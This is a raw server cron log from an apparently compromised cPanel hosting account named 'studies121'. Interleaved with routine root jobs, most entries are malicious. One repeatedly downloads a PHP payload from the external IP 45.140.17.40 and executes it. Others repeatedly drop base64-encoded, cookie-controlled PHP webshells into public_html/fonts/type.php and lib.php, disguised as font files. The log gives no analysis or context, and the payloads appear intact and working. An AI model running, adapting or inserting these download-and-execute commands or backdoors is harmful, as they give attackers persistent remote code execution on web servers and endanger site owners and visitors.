Sep 21 23:49:01 ip-184-168-122-23 CROND[6628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:49:01 ip-184-168-122-23 CROND[6630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:50:01 ip-184-168-122-23 CROND[6744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:50:01 ip-184-168-122-23 CROND[6747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:50:01 ip-184-168-122-23 CROND[6750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:51:01 ip-184-168-122-23 CROND[6865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:51:01 ip-184-168-122-23 CROND[6866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:51:01 ip-184-168-122-23 CROND[6867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:51:01 ip-184-168-122-23 CROND[6869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:52:01 ip-184-168-122-23 CROND[6987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:52:01 ip-184-168-122-23 CROND[6989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:52:01 ip-184-168-122-23 CROND[6990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:52:01 ip-184-168-122-23 CROND[6991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:52:01 ip-184-168-122-23 CROND[6992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:53:01 ip-184-168-122-23 CROND[7127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:53:01 ip-184-168-122-23 CROND[7130]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 21 23:53:01 ip-184-168-122-23 CROND[7129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:53:01 ip-184-168-122-23 CROND[7133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:53:01 ip-184-168-122-23 CROND[7132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:54:01 ip-184-168-122-23 CROND[7242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:54:01 ip-184-168-122-23 CROND[7246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:54:01 ip-184-168-122-23 CROND[7244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:54:01 ip-184-168-122-23 CROND[7247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:54:01 ip-184-168-122-23 CROND[7248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:55:01 ip-184-168-122-23 CROND[7346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:55:01 ip-184-168-122-23 CROND[7347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:55:01 ip-184-168-122-23 CROND[7348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:55:01 ip-184-168-122-23 CROND[7352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:55:01 ip-184-168-122-23 CROND[7354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:55:01 ip-184-168-122-23 CROND[7356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:56:01 ip-184-168-122-23 CROND[7648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:56:01 ip-184-168-122-23 CROND[7649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:56:01 ip-184-168-122-23 CROND[7650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:56:01 ip-184-168-122-23 CROND[7652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:56:01 ip-184-168-122-23 CROND[7657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:57:01 ip-184-168-122-23 CROND[7943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:57:01 ip-184-168-122-23 CROND[7944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:57:01 ip-184-168-122-23 CROND[7948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:57:01 ip-184-168-122-23 CROND[7949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:58:01 ip-184-168-122-23 CROND[8049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:58:01 ip-184-168-122-23 CROND[8051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:58:01 ip-184-168-122-23 CROND[8053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:58:01 ip-184-168-122-23 CROND[8054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:58:01 ip-184-168-122-23 CROND[8052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:59:01 ip-184-168-122-23 CROND[8145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:59:01 ip-184-168-122-23 CROND[8148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:59:01 ip-184-168-122-23 CROND[8147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:59:01 ip-184-168-122-23 CROND[8150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8276]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:00:01 ip-184-168-122-23 CROND[8281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:00:01 ip-184-168-122-23 CROND[8284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:00:01 ip-184-168-122-23 CROND[8285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:01:01 ip-184-168-122-23 CROND[8482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:01:01 ip-184-168-122-23 CROND[8483]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 00:01:01 ip-184-168-122-23 CROND[8484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:01:01 ip-184-168-122-23 CROND[8486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:01:01 ip-184-168-122-23 CROND[8489]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
